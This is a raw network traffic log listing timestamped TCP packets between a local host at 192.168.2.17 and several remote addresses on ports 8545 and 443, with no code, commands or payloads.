Jan 10, 2025 20:49:54.195935011 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:54.195970058 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:54.200846910 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:54.200973988 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:54.301852942 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:54.305895090 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:54.310709953 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:54.353816986 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:54.409634113 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:54.464900970 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:54.880179882 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 20:49:55.186397076 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:55.186438084 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:55.191335917 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:55.191354036 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:55.291949034 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:55.297692060 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:55.302531958 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:55.342853069 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:55.401158094 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:55.454838037 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:55.550825119 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 20:49:56.128653049 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:56.128698111 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:56.128863096 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:56.129203081 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:56.129228115 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:56.188587904 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:56.188643932 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:56.193551064 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:56.193577051 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:56.342428923 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:56.347790003 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:56.352767944 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:56.393826962 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:56.451241016 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:56.505837917 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:56.718902111 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:56.718967915 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:56.719041109 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:56.719079971 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:56.721905947 CET	49800	443	192.168.2.17	104.21.32.1
Jan 10, 2025 20:49:56.721919060 CET	443	49800	104.21.32.1	192.168.2.17
Jan 10, 2025 20:49:56.743545055 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:56.743599892 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:56.743700027 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:56.744103909 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:56.744119883 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:56.869988918 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:56.870464087 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:56.870481968 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:56.870878935 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:56.871300936 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:56.871380091 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:56.871678114 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:56.871709108 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:57.195740938 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:57.195782900 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:57.200752020 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:57.200758934 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:57.226130962 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.226253033 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.230607986 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.230616093 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.231993914 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.232053995 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.232506037 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.245403051 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:57.245532036 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:57.245615005 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:57.246377945 CET	49801	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:57.246400118 CET	443	49801	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:57.275332928 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.302576065 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:57.350819111 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:57.354007959 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:57.358858109 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:57.456948996 CET	8545	49723	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:57.497230053 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497314930 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.497345924 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497386932 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.497395992 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497437000 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.497447968 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497500896 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.497586012 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497638941 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.497675896 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497733116 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.497767925 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.497812033 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.498095036 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.498148918 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.498181105 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.498238087 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.498270035 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.498322010 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.498349905 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.498397112 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.499017000 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.499063015 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.501872063 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.501933098 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.509836912 CET	49723	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:57.583369017 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.583445072 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.583472013 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.583543062 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.583558083 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.583604097 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.583611965 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.583658934 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.584002972 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.584053993 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.584058046 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.584069967 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.584101915 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.584219933 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.584281921 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.584918976 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.584974051 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.584981918 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585016012 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585043907 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585050106 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585063934 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585084915 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585088968 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585139036 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585602045 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585666895 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585673094 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585707903 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585732937 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585738897 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.585767031 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.585812092 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.586539030 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.586591959 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.586599112 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.586632013 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.586641073 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.586647034 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.586658955 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.586709023 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.586711884 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.586756945 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.587327957 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.587378979 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.587385893 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.587433100 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.588167906 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.588222980 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670092106 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670145988 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670176029 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670177937 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670206070 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670226097 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670253038 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670305014 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670377016 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670490980 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670522928 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670561075 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670567989 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670610905 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670645952 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670913935 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670944929 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670969009 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.670975924 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670985937 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.670989037 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.671031952 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.671036005 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.671084881 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.671485901 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.671519995 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.671557903 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.671566010 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.671633005 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.671633005 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672153950 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672194004 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672221899 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672221899 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672236919 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672264099 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672267914 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672310114 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672317028 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672333956 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672365904 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672884941 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672918081 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.672967911 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.672975063 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.673002958 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.673034906 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.759891987 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.759943962 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.759973049 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.759988070 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.759999990 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760026932 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760040045 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760040045 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760051012 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760080099 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760092974 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760113955 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760130882 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760155916 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760174990 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760207891 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760226965 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760234118 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760253906 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760272980 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760495901 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760535955 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760560989 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760566950 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760577917 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760588884 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760617971 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760622978 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760663033 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760915041 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760948896 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760971069 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.760977983 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.760988951 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761001110 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761034012 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761037111 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761054993 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761081934 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761518955 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761559010 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761584044 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761590958 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761600971 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761605024 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761620045 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761625051 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761635065 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761646986 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761665106 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761691093 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761697054 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761708021 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.761719942 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761739969 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.761781931 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762458086 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762506008 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762526989 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762537003 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762547970 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762551069 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762567043 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762572050 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762583017 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762592077 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762614965 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762635946 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762641907 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762653112 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762653112 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762677908 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762684107 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.762707949 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.762733936 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.763411999 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.763477087 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.846326113 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.846374035 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.846435070 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.846448898 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.846467972 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.846483946 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.846715927 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.846735001 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.846807957 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.846816063 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.846859932 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.847062111 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847078085 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847136021 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.847143888 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847192049 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.847563028 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847579956 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847645998 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.847654104 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847702026 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.847976923 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.847996950 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.848058939 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.848066092 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.848076105 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.848110914 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.851272106 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.851286888 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.851352930 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.851361036 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.851383924 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.851404905 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.851500988 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.851517916 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.851576090 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.851582050 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.851640940 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.852024078 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.852040052 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.852097988 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.852106094 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.852147102 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933217049 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933264017 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933336020 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933366060 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933460951 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933470011 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933485985 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933517933 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933525085 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933562040 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933581114 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933721066 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933741093 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933821917 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933828115 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933871031 CET	49802	443	192.168.2.17	188.114.97.3
Jan 10, 2025 20:49:57.933871031 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933883905 CET	443	49802	188.114.97.3	192.168.2.17
Jan 10, 2025 20:49:57.933902025 CET	443	49802	188.114.97.3	192.168.2.17
